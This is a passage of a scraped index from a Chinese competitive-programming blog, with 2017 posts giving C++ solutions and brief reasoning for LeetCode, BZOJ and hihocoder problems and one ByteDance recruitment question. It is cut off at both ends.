思路：肯定是二分。。。不过由于有重复元素。。。所以很恶心。。。 总的思路是。。。当发现重复元素。。并且该重复元素不是target的时候。。。缩小范围。。。 1/* *********************************************** 2Author :111qqz 3Created Time :2017年04月05日 星期三 20时26分25秒 4File Name :81.cpp 5************************************************ */ 6 7 8 9class Solution { 10 11public: 12 13 bool search(vector\u003cint\u003e\u0026 nums, int target) { 14 int siz = nums.size(); 15 if (siz==0) return false; 16 int l = 0 ; 17 int r = siz-1; 18 while (l\u003c=r) 19 { 20 int mid = (l+r)\u003e\u003e1; 21 if (nums[mid]==target) return true; 22 if (nums[l]\u003cnums[mid]) 23 { 24 if (nums[l]\u003c=target\u0026\u0026target\u003cnums[mid]) 25 r = mid - 1; 26 else 27 l = mid + 1; 28 } 29 else if (nums[mid]\u003cnums[r]) 30 { 31 if (nums[mid]\u003ctarget\u0026\u0026target\u003c=nums[r]) l = mid + 1; 32 else r = mid -1; 33 } 34 else if (nums[l]==nums[mid]) l++; 35 else if (nums[mid]==nums[r]) r--; //nums[l]或nunms[r] is not the target,so remove it..重复元素最烦人了。。。 36 } 37 38 return false; 39 40 } 41 42};","date":"2017-04-05","externalUrl":null,"permalink":"/2017/04/leetcode-81-search-in-rotated-sorted-array-ii/","section":"Posts","summary":"Suppose an array sorted in ascending order is rotated at some pivot unknown to you beforehand. (i.e., 0 1 2 4 5 6 7 might become 4 5 6 7 0 1 2).","tags":["binary search","leetcode"],"title":"leetcode  81. Search in Rotated Sorted Array II (有重复元素的旋转数组找给定值)","type":"post"},{"categories":["面试"],"content":"According to the Wikipedia’s article: “The Game of Life, also known simply as Life, is a cellular automaton devised by the British mathematician John Horton Conway in 1970.” Given a board with m by n cells, each cell has an initial state live (1) or dead (0). Each cell interacts with its eight neighbors (horizontal, vertical, diagonal) using the following four rules (taken from the above Wikipedia article): 1. Any live cell with fewer than two live neighbors dies, as if caused by under-population. 2. Any live cell with two or three live neighbors lives on to the next generation. 3. Any live cell with more than three live neighbors dies, as if by over-population.. 4. Any dead cell with exactly three live neighbors becomes a live cell, as if by reproduction. Write a function to compute the next state (after one update) of the board given its current state. Follow up: 1. Could you solve it in-place? Remember that the board needs to be updated at the same time: You cannot update some cells first and then use their updated values to update other cells. 2. In this question, we represent the board using a 2D array. In principle, the board is infinite, which would cause problems when the active area encroaches the border of the array. How would you address these problems? 题意：生命游戏。。。看到follow up本以为是提高篇。。不是题目要求。。。可是第一个又说 board要同时更新。。。这是要求吧。。。于是我就按照棋盘是二维环来写的。。。最后发现。。。棋盘是有限的。。。 也就是两个follow up…要看1（同时变换）,不要看2（实际上棋盘是有限的。。）。。。这不是有毒吗。。。 所以做leetcode最大的挑战是如何保持心平气和，不要被傻逼题目以及傻逼题目描述影响心情（ 我直接写了棋盘是二维环的版本。。。注意的就是，八个方向遍历后记得去重，以及不能和起点相同。 同时更新再加两个标记就好了。。。 1代表活的，0代表死了 -1代表刚才活的，现在死了 -2代表刚才死的，现在活了。 最后记得再变回来。。。 1/* *********************************************** 2Author :111qqz 3Created Time :2017年04月05日 星期三 18时52分29秒 4File Name :289.cpp 5************************************************ */ 6class Solut","date":"2017-04-05","externalUrl":null,"permalink":"/2017/04/leetcode-289-game-of-life/","section":"Posts","summary":"According to the Wikipedia’s article: “The Game of Life, also known simply as Life, is a cellular automaton devised by the British mathematician John Horton Conway in 1970.” Given a board with m by n cells, each cell has an initial state live (1) or dead (0). Each cell interacts with its eight neighbors (horizontal, vertical, diagonal) using the following four rules (taken from the above Wikipedia article):","tags":["leetcode"],"title":"leetcode  289. Game of Life (模拟)","type":"post"},{"categories":["面试"],"content":"Given a collection of integers that might contain duplicates, nums, return all possible subsets. Note: The solution set must not contain duplicate subsets. For example, If nums = [1,2,2], a solution is: 1[ 2 [2], 3 [1], 4 [1,2,2], 5 [2,2], 6 [1,2], 7 [] 8] 思路： 复习（？）一下 枚举子集的三种写法 （还有种更飘逸的…先不写了orz 这道题我用位向量法A的。。 1/* *********************************************** 2Author :111qqz 3Created Time :2017年04月05日 星期三 17时15分34秒 4File Name :90.cpp 5************************************************ */ 6class Solution { 7public: 8 set\u003cvector\u003cint\u003e \u003ese; 9 int B[1005]; 10 vector \u003cvector\u003cint\u003e \u003eres; 11 void get_subset(int n,int *B,int cur,vector\u003cint\u003e\u0026 nums) 12 { 13// cout\u003c\u003c\"cur:\"\u003c\u003ccur\u003c\u003cendl; 14 if (cur==n) //from 0 15 { 16 vector\u003cint\u003etmp; 17 for ( int i = 0 ; i \u003c n ; i++) 18 if (B[i]) tmp.push_back(nums[i]); 19 20 sort(tmp.begin(),tmp.end()); 21 int siz = tmp.size(); 22// for ( int i = 0 ; i \u003c siz ; i++) printf(\"%d \",tmp[i]);printf(\"\\n\"); 23 se.insert(tmp); 24 return; 25 } 26 B[cur] = 1; 27 get_subset(n,B,cur+1,nums); 28 B[cur] = 0; 29 get_subset(n,B,cur+1,nums); 30 } 31 vector\u003cvector\u003cint\u003e\u003e subsetsWithDup(vector\u003cint\u003e\u0026 nums) { 32 int siz = nums.size(); 33 if (siz==0) return res; 34 get_subset(siz,B,0,nums); 35 for ( auto \u0026it : se) 36 { 37 res.push_back(it); 38 } 39 return res; 40 } 41};","date":"2017-04-05","externalUrl":null,"permalink":"/2017/04/leetcode%2090-subsets-ii/","section":"Posts","summary":"Given a collection of integers that might contain duplicates, nums, return all possible subsets. Note: The solution set must not contain duplicate subsets. For example, If nums = [1,2,2], a solution is:","tags":["枚举子集","leetcode"],"title":"leetcode 90. Subsets II (枚举子集)","type":"post"},{"categories":["面试"],"content":"/* *********************************************** 1Author :111qqz 2Created Time :2017年04月05日 星期三 16时49分57秒 3File Name :106.cpp 4************************************************ */ 5/** 6 * Definition for a binary tree node. 7 * struct TreeNode { 8 * int val; 9 * TreeNode *left; 10 * TreeNode *right; 11 * TreeNode(int x) : val(x), left(NULL), right(NULL) {} 12 * }; 13 */ 14class Solution { 15public: 16 TreeNode* buildTree(vector\u003cint\u003e\u0026 inorder, vector\u003cint\u003e\u0026 postorder) { 17 int siz = inorder.size(); 18 if (siz==0) return NULL; 19 int rt = postorder[siz-1]; 20 int pos = -1; 21 for ( int i = 0 ; i \u003c siz; i++) 22 { 23 if (inorder[i]==rt) 24 { 25 pos = i ; 26 break; 27 } 28 } 29 TreeNode *head = new TreeNode(rt); 30 vector\u003cint\u003ein,post; 31 for ( int i = 0 ; i \u003c pos ; i++) 32 { 33 in.push_back(inorder[i]); 34 post.push_back(postorder[i]); 35 } 36 head-\u003eleft = buildTree(in,post); 37 in.clear(); 38 post.clear(); 39 for ( int i = pos + 1 ; i \u003c siz ; i++) 40 { 41 in.push_back(inorder[i]); 42 post.push_back(postorder[i-1]); 43 } 44 head-\u003eright = buildTree(in,post); 45 return head; 46 } 47};","date":"2017-04-05","externalUrl":null,"permalink":"/2017/04/106-construct-binary-tree-from-inorder-and-postorder-traversal/","section":"Posts","summary":"/* *********************************************** 1Author :111qqz 2Created Time :2017年04月05日 星期三 16时49分57秒 3File Name :106.cpp 4************************************************ */ 5/** 6 * Definition for a binary tree node. 7 * struct TreeNode { 8 * int val; 9 * TreeNode *left; 10 * TreeNode *right; 11 * TreeNode(int x) : val(x), left(NULL), right(NULL) {} 12 * }; 13 */ 14class Solution { 15public: 16 TreeNode* buildTree(vector\u003cint\u003e\u0026 inorder, vector\u003cint\u003e\u0026 postorder) { 17 int siz = inorder.size(); 18 if (siz==0) return NULL; 19 int rt = postorder[siz-1]; 20 int pos = -1; 21 for ( int i = 0 ; i \u003c siz; i++) 22 { 23 if (inorder[i]==rt) 24 { 25 pos = i ; 26 break; 27 } 28 } 29 TreeNode *head = new TreeNode(rt); 30 vector\u003cint\u003ein,post; 31 for ( int i = 0 ; i \u003c pos ; i++) 32 { 33 in.push_back(inorder[i]); 34 post.push_back(postorder[i]); 35 } 36 head-\u003eleft = buildTree(in,post); 37 in.clear(); 38 post.clear(); 39 for ( int i = pos + 1 ; i \u003c siz ; i++) 40 { 41 in.push_back(inorder[i]); 42 post.push_back(postorder[i-1]); 43 } 44 head-\u003eright = buildTree(in,post); 45 return head; 46 } 47};","tags":["算法竞赛"],"title":"106. Construct Binary Tree from Inorder and Postorder Traversal(根据中序和后序遍历构建二叉树)","type":"post"},{"categories":["面试"],"content":"Given an array nums containing n + 1 integers where each integer is between 1 and n (inclusive), prove that at least one duplicate number must exist. Assume that there is only one duplicate number, find the duplicate one. Note: 1. You **must not** modify the array (assume the array is read only). 2. You must use only constant, _O_(1) extra space. 3. Your runtime complexity should be less than `O(n2)`. 4. There is only one duplicate number in the array, but it could be repeated more than once. 思路：O(n^2)的复杂度暴力即可，说个O(n)复杂度的解法。 需要注意元素范围1..n是个很重要的条件。 使得我们可以把位置和元素映射起来。 可以看成一个迭代函数 由于存在重复重复元素，因此一定存在一个环。 因此可以用floyd判圈算法。 floyd判圈算法_维基百科 这算法以前遇到过sgu455 解题报告，所以不算很陌生… 但是从有重复元素没有联想到会有环orz，我好菜啊… 1/* *********************************************** 2Author :111qqz 3Created Time :2017年04月05日 星期三 15时16分11秒 4File Name :287.cpp 5************************************************ */ 6/* *********************************************** 7Author :111qqz 8Created Time :2017年04月05日 星期三 14时58分11秒 9File Name :287.cpp 10************************************************ */ 11class Solution { 12 13public: 14 15 int findDuplicate(vector\u003cint\u003e\u0026 nums) { 16 int slow = nums[0]; 17 int fast = nums[nums[0]]; 18 while (slow!=fast) 19 { 20 slow = nums[slow]; 21 fast = nums[nums[fast]]; 22 23 printf(\"slow:%d fast:%d\\n\",slow,fast); 24 } 25 fast = 0 ; 26 while (fast != slow) 27 { 28 fast = nums[fast]; 29 slow = nums[slow]; 30 } 31 return slow; 32 33 } 34 35};","date":"2017-04-05","externalUrl":null,"permalink":"/2017/04/leetcode-287-find-the-duplicate-number-floyd/","section":"Posts","summary":"Given an array nums containing n + 1 integers where each integer is between 1 and n (inclusive), prove that at least one duplicate number must exist. Assume that there is only one duplicate number, find the duplicate one.","tags":["floyd 判圈","leetcode"],"title":"leetcode 287. Find the Duplicate Number (floyd判圈算法找重复元素)","type":"post"},{"categories":["面试"],"content":"Given an array of integers and an integer k, you need to find the number of unique k-diff pairs in the array. Here a k-diff pair is defined as an integer pair (i, j), where i and j are both numbers in the array and their absolute difference is k. Example 1: 1Input: [3, 1, 4, 1, 5], k = 2 2Output: 2 3Explanation: There are two 2-diff pairs in the array, (1, 3) and (3, 5). 4Although we have two 1s in the input, we should only return the number of unique pairs. Example 2: 1Input:[1, 2, 3, 4, 5], k = 1 2Output: 4 3Explanation: There are four 1-diff pairs in the array, (1, 2), (2, 3), (3, 4) and (4, 5). Example 3: 1Input: [1, 3, 1, 5, 4], k = 0 2Output: 1 3Explanation: There is one 0-diff pair in the array, (1, 1). Note: 1. The pairs (i, j) and (j, i) count as the same pair. 2. The length of the array won't exceed 10,000. 3. All the integers in the given input belong to the range: [-1e7, 1e7]. 思路：由于重复的只算一次，所以存两个set,分别为nums[i]和nums[i]+k.复杂度O(nlgn) 对于k=0的情况特殊处理，因为可能自己和自己组成一对…所以k=0可以排序然后找出现次数大于一次的元素,也是O(nlgn) 总体复杂度O(nlgn) 另外需要注意的是，两个数的绝对值可能是负数…..k\u003c0返回0。。。 脑回路真是不一样。。。都绝对值了。。还负数。。。？出题人觉得没考虑到负数是考虑不周到？ 然而我只觉得出题人傻逼。 1/* *********************************************** 2Author :111qqz 3Created Time :2017年04月05日 星期三 14时25分00秒 4File Name :532.cpp 5 ************************************************ */ 6class Solution { 7 public: 8 int findPairs(vector\u003cint\u003e\u0026 nums, int k) { 9 int siz = nums.size(); 10 int res = 0 ; 11 if (k\u003c0) return 0; 12 if (k==0) 13 { 14 sort(nums.begin(),nums.end()); 15 nums.push_back(1E8); 16 for ( int i = 1 ; i \u003c siz ; i++) 17 { 18 if (nums[i]==nums[i-1]\u0026\u0026nums[i]!=nums[i+1]) res++; 19 } 20 return res; 21 } 22 set\u003cint\u003ea; 23 set\u003cint\u003eb; 24 for ( int i = 0 ; i \u003c siz; i++) 25 { 26 a.insert(nums[i]+k); 27 b.insert(nums[i]); 28 } 29 for ( auto \u0026it:a) 30 { 31 if (b.count(it))","date":"2017-04-05","externalUrl":null,"permalink":"/2017/04/leetcode-532-k-diff-pairs-in-an-array/","section":"Posts","summary":"Given an array of integers and an integer k, you need to find the number of unique k-diff pairs in the array. Here a k-diff pair is defined as an integer pair (i, j), where i and j are both numbers in the array and their absolute difference is k.","tags":["leetcode"],"title":"leetcode 532. K-diff Pairs in an Array （找差为k的数对）","type":"post"},{"categories":["面试"],"content":"Given an array of integers where 1 ≤ a[i] ≤ n (n = size of array), some elements appear twice and others appear once. Find all the elements of [1, n] inclusive that do not appear in this array. Could you do it without extra space and in O(n) runtime? You may assume the returned list does not count as extra space. Example: Input: [4,3,2,7,8,2,3,1] Output: [5,6] 思路：由于元素大小有限制，是在1..n之间。 这个信息有两个作用。一个是元素都是正数，一个是元素大小（绝对值意义上的）有限。 因此我们可以把元素本身和一个位置关联起来。 由于都是正数，我们可以用变成其相反数的方法进行标记（如果已经为负数，就不做处理） 1/* *********************************************** 2Author :111qqz 3Created Time :2017年04月05日 星期三 14时07分53秒 4File Name :448.cpp 5************************************************ */ 6class Solution { 7 8public: 9 10 vector\u003cint\u003e findDisappearedNumbers(vector\u003cint\u003e\u0026 nums) { 11 12 int siz = nums.size(); //由于出现的元素大小在1..之间，因此可以用位置i的正负来表示元素i+1是否出现了。 13 for ( int i = 0 ; i \u003c siz ; i++) 14 { 15 int id = abs(nums[i]); 16 if (nums[id-1]\u003e0) nums[id-1]*=-1; 17 } 18 vector\u003cint\u003eres; 19 for ( int i = 0 ; i \u003c siz ; i++) 20 { 21 if (nums[i]\u003e0) res.push_back(i+1); 22 } 23 return res; 24 25 } 26 27};","date":"2017-04-05","externalUrl":null,"permalink":"/2017/04/leetcode-448-find-all-numbers-disappeared-in-an-array/","section":"Posts","summary":"Given an array of integers where 1 ≤ a[i] ≤ n (n = size of array), some elements appear twice and others appear once. Find all the elements of [1, n] inclusive that do not appear in this array.","tags":["leetcode"],"title":"leetcode 448. Find All Numbers Disappeared in an Array(寻找所有消失的元素）","type":"post"},{"categories":["ACM"],"content":"2748: [HAOI2012]音量调节 # Time Limit: 3 Sec Memory Limit: 128 MB Submit: 1814 Solved: 1148 [Submit][Status][Discuss] Description # 一个吉他手准备参加一场演出。他不喜欢在演出时始终使用同一个音量，所以他决定每一首歌之前他都要改变一次音量。在演出开始之前，他已经做好了一个列表，里面写着在每首歌开始之前他想要改变的音量是多少。每一次改变音量，他可以选择调高也可以调低。 音量用一个整数描述。输入文件中给定整数beginLevel，代表吉他刚开始的音量，以及整数maxLevel，代表吉他的最大音量。音量不能小于0也不能大于maxLevel。输入文件中还给定了n个整数c1,c2,c3…..cn，表示在第i首歌开始之前吉他手想要改变的音量是多少。 吉他手想以最大的音量演奏最后一首歌，你的任务是找到这个最大音量是多少。 Input # 第一行依次为三个整数：n, beginLevel, maxlevel。 第二行依次为n个整数：c1,c2,c3…..cn。 Output # 输出演奏最后一首歌的最大音量。如果吉他手无法避免音量低于0或者高于maxLevel，输出-1。 Sample Input # 3 5 10 5 3 7 Sample Output # 10 HINT # 1\u003c=N\u003c=50,1\u003c=Ci\u003c=Maxlevel 1\u003c=maxlevel\u003c=1000 0\u003c=beginlevel\u003c=maxlevel 思路: 一看数据范围…长着一张dp的脸… dp[i][j]表示经过i次调整后能否达到音量j. 初始化dp[0][beginlevel] = true. 按顺序转移就好了. 复杂度O(n*MAXlevel) 1/* *********************************************** 2Author :111qqz 3Created Time :2017年04月02日 星期日 14时36分58秒 4File Name :code/bzoj/2748.cpp 5************************************************ */ 6 7#include \u003ccstdio\u003e 8#include \u003ccstring\u003e 9#include \u003ciostream\u003e 10#include \u003calgorithm\u003e 11#include \u003cvector\u003e 12#include \u003cqueue\u003e 13#include \u003cset\u003e 14#include \u003cmap\u003e 15#include \u003cstring\u003e 16#include \u003ccmath\u003e 17#include \u003ccstdlib\u003e 18#include \u003cctime\u003e 19#define PB push_back 20#define fst first 21#define sec second 22#define lson l,m,rt\u003c\u003c1 23#define rson m+1,r,rt\u003c\u003c1|1 24#define ms(a,x) memset(a,x,sizeof(a)) 25typedef long long LL; 26#define pi pair \u003c int ,int \u003e 27#define MP make_pair 28 29using namespace std; 30const double eps = 1E-8; 31const int dx4[4]={1,0,0,-1}; 32const int dy4[4]={0,-1,1,0}; 33const int inf = 0x3f3f3f3f; 34bool dp[51][1005]; //dp[i][j]表示经过i次操作,能否达到音量j 35int n,L,R; 36int a[1005]; 37int main() 38{ 39 #ifndef ONLINE_JUDGE 40 freopen(\"code/in.txt\",\"r\",stdin); 41 #endif 42 ms(dp,0); 43 cin\u003e\u003en\u003e\u003eL\u003e\u003eR; 44 for ( int i = 1 ; i \u003c","date":"2017-04-02","externalUrl":null,"permalink":"/2017/04/bzoj-2748-haoi2012-dp/","section":"Posts","summary":"2748: [HAOI2012]音量调节 # Time Limit: 3 Sec Memory Limit: 128 MB Submit: 1814 Solved: 1148 [Submit][Status][Discuss]","tags":["dp"],"title":"BZOJ 2748: [HAOI2012]音量调节 (dp)","type":"post"},{"categories":["ACM"],"content":"2257: [Jsoi2009]瓶子和燃料 # Time Limit: 10 Sec Memory Limit: 128 MB Submit: 1246 Solved: 756 [Submit][Status][Discuss] Description # jyy就一直想着尽快回地球，可惜他飞船的燃料不够了。 有一天他又去向火星人要燃料，这次火星人答应了，要jyy用飞船上的瓶子来换。jyy 的飞船上共有 N个瓶子(1\u003c=N\u003c=1000) ，经过协商，火星人只要其中的K 个 。 jyy 将 K个瓶子交给火星人之后，火星人用它们装一些燃料给 jyy。所有的瓶子都没有刻度，只 在瓶口标注了容量，第i个瓶子的容量为Vi（Vi 为整数，并且满足1\u003c=Vi\u003c=1000000000 ） 。 火星人比较吝啬，他们并不会把所有的瓶子都装满燃料。他们拿到瓶子后，会跑到燃料 库里鼓捣一通，弄出一小点燃料来交差。jyy当然知道他们会来这一手，于是事先了解了火 星人鼓捣的具体内容。火星人在燃料库里只会做如下的3种操作：1、将某个瓶子装满燃料； 2、将某个瓶子中的燃料全部倒回燃料库；3、将燃料从瓶子a倒向瓶子b，直到瓶子b满 或者瓶子a空。燃料倾倒过程中的损耗可以忽略。火星人拿出的燃料，当然是这些操作能 得到的最小正体积。 jyy知道，对于不同的瓶子组合，火星人可能会被迫给出不同体积的燃料。jyy希望找 到最优的瓶子组合，使得火星人给出尽量多的燃料。 Input # 第1行：2个整数N,K， 第2..N 行：每行1个整数，第i+1 行的整数为Vi Output # 仅1行，一个整数，表示火星人给出燃料的最大值。 Sample Input # 3 2 3 4 4 Sample Output # 4 HINT # 选择第2 个瓶子和第 个瓶子，火星人被迫会给出4 体积的容量。 思路: 思路完全错掉了orz…想去贪心来着…. 因为自己脑算的例子错掉了…容量3和容量7的瓶子,能得到的最小是1不是2(因为忘了可以从瓶子中倒回燃料库的操作)… 样例一错毁所有orz.. 正确的思路是,容量为a,b的两个瓶子能鼓捣出的体积一定是ax+by的形式 根据裴蜀定理,ax+by能得到的最小正数解就是(a,b),也就是gcd(a,b) 由此可以推广到多个瓶子,容量分别为x1,x2,…xn,能得到的最小体积就是gcd(x1,x2..xn) (能推广的原因还是多说一句吧,假设现在只有两个瓶子x1,x2,称出了gcd(x1,x2),那么其实和只有一个容量为gcd(x1,x2)的瓶子在效果上是等价的) 因为剩下我们要做的就是,统计每个容量的因子统计,找到最大的并且出现此处大于等于k次的… 1/* *********************************************** 2Author :111qqz 3Created Time :2017年04月01日 星期六 19时38分24秒 4File Name :code/bzoj/2257.cpp 5************************************************ */ 6 7#include \u003ccstdio\u003e 8#include \u003ccstring\u003e 9#include \u003ciostream\u003e 10#include \u003calgorithm\u003e 11#include \u003cvector\u003e 12#include \u003cqueue\u003e 13#include \u003cset\u003e 14#include \u003cmap\u003e 15#include \u003cstring\u003e 16#include \u003ccmath\u003e 17#include \u003ccstdlib\u003e 18#include \u003cctime\u003e 19#define PB push_back 20#define fst first 21#define sec second 22#define lson l,m,rt\u003c\u003c1 23#define rson m+1,r,rt\u003c\u003c1|1 24#define ms(a,x) memset(a,x,sizeof(a)) 25typedef long long LL; 26#define pi pair \u003c int ,int \u003e 27#define MP make_pair ","date":"2017-04-02","externalUrl":null,"permalink":"/2017/04/bzoj-2257/","section":"Posts","summary":"2257: [Jsoi2009]瓶子和燃料 # Time Limit: 10 Sec Memory Limit: 128 MB Submit: 1246 Solved: 756 [Submit][Status][Discuss]","tags":["number theory","裴蜀定理"],"title":"BZOJ 2257: [Jsoi2009]瓶子和燃料 (裴蜀定理)","type":"post"},{"categories":["ACM"],"content":"1012: [JSOI2008]最大数maxnumber # Time Limit: 3 Sec Memory Limit: 162 MB Submit: 9717 Solved: 4244 [Submit][Status][Discuss] Description # 现在请求你维护一个数列，要求提供以下两种操作：1、 查询操作。语法：Q L 功能：查询当前数列中末尾L 个数中的最大的数，并输出这个数的值。限制：L不超过当前数列的长度。2、 插入操作。语法：A n 功能：将n加 上t，其中t是最近一次查询操作的答案（如果还未执行过查询操作，则t=0)，并将所得结果对一个固定的常数D取 模，将所得答案插入到数列的末尾。限制：n是非负整数并且在长整范围内。注意：初始时数列是空的，没有一个 数。 Input # 第一行两个整数，M和D，其中M表示操作的个数(M \u003c= 200,000)，D如上文中所述，满足D在longint内。接下来 M行，查询操作或者插入操作。 Output # 对于每一个询问操作，输出一行。该行只有一个数，即序列中最后L个数的最大数。 Sample Input # 5 100 A 96 Q 1 A 97 Q 1 Q 2 Sample Output # 96 93 96 思路:线段树即可…. 只是为了回忆一下..发现线段树还是没有忘记的23333 1/* *********************************************** 2Author :111qqz 3Created Time :2017年04月01日 星期六 16时37分55秒 4File Name :code/bzoj/1012.cpp 5************************************************ */ 6 7#include \u003ccstdio\u003e 8#include \u003ccstring\u003e 9#include \u003ciostream\u003e 10#include \u003calgorithm\u003e 11#include \u003cvector\u003e 12#include \u003cqueue\u003e 13#include \u003cset\u003e 14#include \u003cmap\u003e 15#include \u003cstring\u003e 16#include \u003ccmath\u003e 17#include \u003ccstdlib\u003e 18#include \u003cctime\u003e 19#define PB push_back 20#define fst first 21#define sec second 22#define lson l,m,rt\u003c\u003c1 23#define rson m+1,r,rt\u003c\u003c1|1 24#define ms(a,x) memset(a,x,sizeof(a)) 25typedef long long LL; 26#define pi pair \u003c int ,int \u003e 27#define MP make_pair 28using namespace std; 29const double eps = 1E-8; 30const int N=2E5+7; 31const int dx4[4]={1,0,0,-1}; 32const int dy4[4]={0,-1,1,0}; 33const int inf = 0x3f3f3f3f; 34int m,D; 35int tree[N\u003c\u003c2]; //树最大为M个节点.. 36int lst; //最后一个查询的结果 37int cur;//当前队列中元素的个数. 38void PushUp( int rt) 39{ 40 tree[rt] = max( tree[rt\u003c\u003c1] , tree[rt\u003c\u003c1|1]); 41} 42void update(int p,int sc, int l,int r,int rt) 43{ 44// cout\u003c\u003c\"p:\"\u003c\u003cp\u003c\u003c\" sc:\"\u003c\u003csc\u003c\u003c\" l:\"\u003c\u003cl\u003c\u003c\" r:\"\u003c\u003cr\u003c\u003c\" rt:\"\u003c\u003crt\u003c\u003cendl; 45 if (l==r) 46 { 47 tree[rt] = sc; 48 return; 49 } 50 int m = (l+r)\u003e\u003e1; 51 if (p\u003c=m) upda","date":"2017-04-01","externalUrl":null,"permalink":"/2017/04/bzoj-1012/","section":"Posts","summary":"1012: [JSOI2008]最大数maxnumber # Time Limit: 3 Sec Memory Limit: 162 MB Submit: 9717 Solved: 4244 [Submit][Status][Discuss]","tags":["线段树"],"title":"BZOJ 1012: [JSOI2008]最大数maxnumber (线段树,,单点更新)","type":"post"},{"categories":["ACM"],"content":"#1197 : Give My Text Back # 时间限制:10000ms 单点时限:1000ms 内存限制:256MB 描述 # To prepare for the English exam Little Ho collected many digital reading materials. Unfortunately the materials are messed up by a malware. It is known that the original text contains only English letters (a-zA-Z), spaces, commas, periods and newlines, conforming to the following format: Each sentence contains at least one word, begins with a letter and ends with a period. In a sentence the only capitalized letter is the first letter. In a sentence the words are separated by a single space or a comma and a space. The sentences are separated by a single space or a single newline. It is also known the malware changes the text in the following ways: Changing the cases of letters. Adding spaces between words and punctuations. Given the messed text, can you help Little Ho restore the original text? 输入 # A string containing no more than 8192 English letters (a-zA-Z), spaces, commas, periods and newlines which is the messed text. 输出 # The original text. 样例输入 my Name is Little Hi. His name IS Little ho , We are friends. 样例输出 My name is little hi. His name is little ho, we are friends. 比较容易忽视的几个细节是: 连续的空格或者换行符只能有一个; 一个句子是某一行最后一个句子的时候,’.‘后没有空格 比较难处理的是,’.‘或者’,‘前面的空格. 我的做法是,先不处理,最后倒序处理. 1/* *********************************************** 2Author :111qqz 3Created Time :2017年03月31日 星期五 15时45分46秒 4File Name :code/hiho/107A.cpp 5 ************************************************ */ 6 7#include \u003ccstdio\u003e 8#include \u003ccstring\u003e 9#include \u003ciostream\u003e 10#include \u003calgorithm\u003e 11#include \u003cvector\u003e 12#include \u003cqueue\u003e 13#include \u003cset\u003e 14#include \u003cmap\u003e 15#include \u003cstring\u003e 16#include \u003ccmath\u003e 17#include \u003ccstdlib\u003e 18#include \u003cctime\u003e 19#define fst first 20#define sec second 21#define lson l,m,rt\u003c\u003c1 22#define rson m+1,r,rt\u003c\u003c1|1 23#define m","date":"2017-03-31","externalUrl":null,"permalink":"/2017/03/hihocoder-1197/","section":"Posts","summary":"#1197 : Give My Text Back # 时间限制:10000ms","tags":["模拟"],"title":"hihocoder 1197  Give My Text Back (模拟)","type":"post"},{"categories":["随笔杂谈"],"content":"….拿到offer结果被人同情得问…“你怎么这么惨”…还不止被一个人这样说……… ……不找实习打算去考研吧结果被说\"你基础辣么差,去考研好亏哦\"…. 窝能怎么办,窝也很绝望啊….","date":"2017-03-31","externalUrl":null,"permalink":"/2017/03/cry/","section":"Posts","summary":"….拿到offer结果被人同情得问…“你怎么这么惨”…还不止被一个人这样说………","tags":["算法竞赛"],"title":"..........呜呜呜","type":"post"},{"categories":["面试"],"content":"头条校招（今日头条2017秋招真题） 题目描述 头条的2017校招开始了！为了这次校招，我们组织了一个规模宏大的出题团队。每个出题人都出了一些有趣的题目，而我们现在想把这些题目组合成若干场考试出来。在选题之前，我们对题目进行了盲审，并定出了每道题的难度系数。一场考试包含3道开放性题目，假设他们的难度从小到大分别为a, b, c，我们希望这3道题能满足下列条件： a＜= b＜= c b - a＜= 10 c - b＜= 10 所有出题人一共出了n道开放性题目。现在我们想把这n道题分布到若干场考试中（1场或多场，每道题都必须使用且只能用一次），然而由于上述条件的限制，可能有一些考试没法凑够3道题，因此出题人就需要多出一些适当难度的题目来让每场考试都达到要求。然而我们出题已经出得很累了，你能计算出我们最少还需要再出几道题吗？ 输入输入的第一行包含一个整数n，表示目前已经出好的题目数量。 第二行给出每道题目的难度系数 d1, d2, …, dn。 样例输入4 20 35 23 40 输出输出只包括一行，即所求的答案。 样例输出2 时间限制C/C++语言：1000MS其它语言：3000MS 内存限制C/C++语言：65536KB其它语言：589824K div2 A的难度…直接贪就好,不给数据范围的都是耍流氓… 1/* *********************************************** 2Author :111qqz 3Created Time :2017年03月30日 星期四 12时55分21秒 4File Name :code/toutiao/1.cpp 5************************************************ */ 6#include \u003ccstdio\u003e 7#include \u003ccstring\u003e 8#include \u003ciostream\u003e 9#include \u003calgorithm\u003e 10#include \u003cvector\u003e 11#include \u003cqueue\u003e 12#include \u003cset\u003e 13#include \u003cmap\u003e 14#include \u003cstring\u003e 15#include \u003ccmath\u003e 16#include \u003ccstdlib\u003e 17#include \u003cctime\u003e 18#define fst first 19#define sec second 20#define lson l,m,rt\u003c\u003c1 21#define rson m+1,r,rt\u003c\u003c1|1 22#define ms(a,x) memset(a,x,sizeof(a)) 23typedef long long LL; 24#define pi pair \u003c int ,int \u003e 25#define MP make_pair 26using namespace std; 27const double eps = 1E-8; 28const int dx4[4]={1,0,0,-1}; 29const int dy4[4]={0,-1,1,0}; 30const int inf = 0x3f3f3f3f; 31int n; 32vector\u003cint\u003evec; 33int main() 34{ 35 #ifndef ONLINE_JUDGE 36 freopen(\"code/in.txt\",\"r\",stdin); 37 #endif 38 int ans = 0 ; 39 cin\u003e\u003en; 40 for ( int i = 1 ; i \u003c= n ; i++) 41 { 42 int x; 43 scanf(\"%d\",\u0026x); 44 vec.push_back(x); 45 } 46 sort(vec.begin(),vec.end()); 47 int cur = 0 ; 48 for ( int i = 0 ;i \u003c n ; i++) 49 { 50 if (cur==0) 51 { 52 cur++; 53 continue; 54 } 55 if (cur==1) 56 { 57 if (vec[i]-vec[i-1]\u003c=10) 58 { 59 cur++; 60 continue; 61 } 62 i","date":"2017-03-30","externalUrl":null,"permalink":"/2017/03/bytedance-2017-interview-04/","section":"Posts","summary":"头条校招（今日头条2017秋招真题） 题目描述 头条的2017校招开始了！为了这次校招，我们组织了一个规模宏大的出题团队。每个出题人都出了一些有趣的题目，而我们现在想把这些题目组合成若干场考试出来。在选题之前，我们对题目进行了盲审，并定出了每道题的难度系数。一场考试包含3道开放性题目，假设他们的难度从小到大分别为a, b, c，我们希望这3道题能满足下列条件：","tags":["greedy"],"title":"今日头条2017秋招笔试_1","type":"post"},{"categories":["ACM"],"content":"给定 x, k ，求满足 x + y = x | y 的第 k 小的正整数 y 。 | 是二进制的或(or)运算，例如 3 | 5 = 7。 比如当 x=5，k=1时返回 2，因为5+1=6 不等于 5|1=5，而 5+2=7 等于 5 | 2 = 7。 输入描述: # 每组测试用例仅包含一组数据，每组数据为两个正整数 x , k。 满足 0 \u003c x , k ≤ 2,000,000,000。 输出描述: # 输出一个数y。 输入例子: # 5 1 输出例子: # 达标2 一看就是数学题…? 打表观察… 1 0000001 